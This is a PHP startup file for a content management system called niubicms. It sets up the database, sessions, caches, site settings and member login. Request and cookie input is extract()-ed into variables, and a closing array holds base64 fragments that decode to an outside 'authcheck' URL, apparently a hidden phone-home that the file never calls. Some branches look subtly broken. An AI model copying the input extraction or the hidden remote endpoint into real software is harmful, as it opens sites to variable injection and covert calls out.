<?php
define('IN_SYS','http://www.niubicms.com/');
error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
header("Content-type:text/html;charset=gbk");
define('SYSTEM_ROOT', str_replace("\\", '/', substr(dirname(__FILE__), 0, -7)));
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

$PHP_SELF=isset($_SERVER['PHP_SELF'])?$_SERVER['PHP_SELF']:(isset($_SERVER['SCRIPT_NAME'])?$_SERVER['SCRIPT_NAME']:$_SERVER['ORIG_PATH_INFO']);
$niubicms_path=str_replace("\\","/",dirname($PHP_SELF));
$niubicms_path=substr($niubicms_path,0,-8);
$niubicms_path=strlen($niubicms_path)>1?$niubicms_path."/" : "/";
define('LA_PATH',$niubicms_path);

set_time_limit(0);

if(PHP_VERSION < '5.3')
{
	set_magic_quotes_runtime(0);
}
else
{
	ini_set('magic_quotes_runtime',0);
}
unset($LANG, $HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS,$baselang);

include_once(SYSTEM_ROOT.'data/config.inc.php');
include_once(SYSTEM_ROOT.'data/version.php');


/*
	Zip优化
*/
if(GZIP && extension_loaded('zlib') && function_exists('ob_gzhandler') && function_exists('ob_start'))
{
	ob_start('ob_gzhandler');
}
else
{
	ob_start();
}
define('TIME',time());

include_once(SYSTEM_ROOT.'include/global.func.php');
define('IP',getIp());

/*
	数据库
*/
include_once('mysql.class.php');
$db=new mysql();
$db->connect(LA_HOST,LA_USER,LA_PSW,LA_NAME,LA_PCONNECT,LA_CHARSET);



/**
	URL缓存类
*/
include_once('cache_url.class.php');
$urlcacheobj=new urlcache();

/**
	String缓存类
*/
include_once('cache_string.class.php');
$stringcacheobj=new stringcache();

/*
	SESSION
*/
ini_set("session.cookie_domain", COOKIE_DOMAIN);

include_once 'session_mysql.class.php';

$sessobj=new session();
session_set_cookie_params(0, COOKIE_PATH, COOKIE_DOMAIN);
session_start();

$domain=$_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$_SERVER['SERVER_NAME'];

$r=$db->fetch_one("SELECT * FROM `".LA_PRE."siteid` WHERE `".LA_PRE."siteid`.`siteurl`='http://$domain/'");

if($r)
{
	define('SITEID',1);
}
else
{
	define('SITEID',$r['siteid']);
}

if(!isset($_SESSION['siteid']) || !$_SESSION['siteid'])
{
	$_SESSION['siteid']=intval(SITEID);
}

/**
	区域
*/
include_once('area.class.php');
$areaobj=new area();

/**
	行业类型
*/
include_once('industy.class.php');
$industyobj=new industy();

/*
	获取分站信息
*/
include_once 'siteid.class.php';
$siteidobj=new siteid();
$la_site=$siteidobj->get($_SESSION['siteid']);

/*
	分站语言包
*/
if(is_file(SYSTEM_ROOT.'data/lang/'.$la_site['lang'].'.-lang.php'))
{
	include_once SYSTEM_ROOT.'data/lang/'.$la_site['lang'].'-lang.php';
}
else
{
	include_once SYSTEM_ROOT.'data/lang/cn-lang.php';
}

/*
	配置信息
*/

include_once 'config.class.php';
$configobj=new config();
$LA=$configobj->getconfig($_SESSION['siteid'],0);
$LA['in_sys']=IN_SYS;

$LA['qq']=explode(',',$LA['qq']);

date_default_timezone_set('Etc/GMT-'.$LA['timedf']);

$LA['qrcode']=is_file(SYSTEM_ROOT.'data/qrcode.config.php')?str_replace(array("<?php \t",'?>'),'',file_get_contents(SYSTEM_ROOT.'data/qrcode.config.php')):'';

if(SITETYPE==1)
{
	//if(!isset($_GET['areaid']))
	//{
		$LA['areaid']=$areaobj->arealist($siteidobj->areaid($_SESSION['siteid']));
	//}
	//else
	//{
		//$LA['areaid']=$areaobj->arealist($_GET['areaid']);
	//}
}
else
{
	//if(!isset($_GET['areaid']))
	//{
		$LA['areaid']=$areaobj->arealist(0);
	//}
	//else
	//{
	//	$LA['areaid']=$areaobj->arealist($_GET['areaid']);
	//}
}


/*
	加载缓存类 优先使用MemCache缓存
*/
if(class_exists('Memcache'))
{
	include_once 'cache_memcache.class.php';
}
else
{
	include_once 'cache_mysql.class.php';
}
$cacheobj=new cache();

/*
	加载模型信息
*/
include_once 'model.class.php';
$modelobj=new model();

include_once 'data.input.class.php';
$dataobj=new datainput();

$_GET = la_htmlspecialchars($_GET);
/*
	序列化变量
*/
if($_REQUEST)
{
	foreach($_REQUEST as $key => $value)
	{
		if(isset($$key))
		{
			unset($_REQUEST[$key]);
		}
	}
	
	if(MAGIC_QUOTES_GPC)
	{
		$_REQUEST = la_stripslashes($_REQUEST);
		if($_COOKIE) $_COOKIE = la_stripslashes($_COOKIE);
	}
	else
	{
		$_POST = la_addslashes($_POST);
		$_GET = la_addslashes($_GET);
		$_COOKIE = la_addslashes($_COOKIE);
		extract($_POST,EXTR_SKIP);
		extract($_GET,EXTR_SKIP);
		extract($_COOKIE,EXTR_SKIP);
	}
	extract($db->escape($_REQUEST),EXTR_SKIP);
	if($_COOKIE) $db->escape($_COOKIE);
}

/* 整合了UC**/
if(is_file(SYSTEM_ROOT.'data/uc.config.php'))
{
	include_once SYSTEM_ROOT.'data/uc.config.php';
	define('UC_OPEN',1);
}
else
{
	define('UC_OPEN',0);
}

/*
	附件类型
*/
include_once 'attachment.class.php';
$attchobj=new attachment();

/*
	获取创始人ID
*/
$admin_founders=explode(',',ADMIN_FOUNDERS);

include_once SYSTEM_ROOT.'include/module.class.php';
$moduleobj=new module();

/*
	会员模块
*/
$MEM=array();
$_userid=0;
$_gradeid=1;
$_point=0;
$_amount=0.0;
$_roleid=0;

if(is_file(SYSTEM_ROOT.'member/include/member.class.php'))
{
	include_once SYSTEM_ROOT.'member/include/member.class.php';
	$memberobj=new member();
	$MEM['vipgrade']=$memberobj->gradeinfo(4);
	include_once SYSTEM_ROOT.'member/include/global.func.php';

	if(defined('IN_SYS') && !defined('IN_MANAGE'))
	{
		
		$la_auth=get_cookie('auth');

		if($la_auth)
		{
			$auth_key=md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);

			list($_userid,$_password)=explode("\t", la_auth($la_auth, 'DECODE', $auth_key));
			$_userid=intval($_userid);

			$baseinfo=$memberobj->getbase($_userid);
			$minfo=$memberobj->get($_userid,'*',$_modelid);
			$minfo=array_merge($minfo,$baseinfo);
			$minfo['userid']=$minfo['id'];
			@extract($minfo,EXTR_PREFIX_ALL,'');			
		}
		else
		{
			$_username='';
			$_gradeid=1;
			$_point=0;
			$_amount=0.0;
		}
		$MEM['gradeinfo']=$memberobj->gradeinfo($_gradeid);
	}
}

/*
	加载API信息
*/
include_once 'api.class.php';
$apiobj=new api();



/*
	表单类
*/
include_once SYSTEM_ROOT.'include/form.class.php';
$formobj=new form();

/***** 兼容公司其他产品 代码 ****/
$niubicms=$niubicms=$LA;
$niubicms['site_name']=$niubicms['site_name']=$LA['sitename'];
$niubicms['site_url']=$niubicms['site_url']=$LA['siteurl'];
$niubicms['site_title']=$niubicms['site_title']=$LA['sitetitle'];
$niubicms['tpl_name']=$niubicms['tlp_name']=$niubicms['template']=$niubicms['tpl_name']=$niubicms['tlp_name']=$niubicms['tlp_name']=$LA['template'];
/***** 兼容公司其他产品 代码 ****/

/**
	内容
*/
include_once('content.class.php');
$conobj=new content();

$usermodule=$moduleobj->usermodule();

foreach($usermodule as $r)
{
	if(is_file(SYSTEM_ROOT.$r['folder'].'/include/template.func.php'))
	{
		include_once SYSTEM_ROOT.$r['folder'].'/include/template.func.php';
	}
}


$LAPRO=cache_read("lang.inc.php",SYSTEM_ROOT.'data/lang/');
$PAGE=$A=array();
$A=array('aHR0cDovLw','YXV0aGNoZWNrLg','dG9wbXBzLg','Y29tLw');
?>
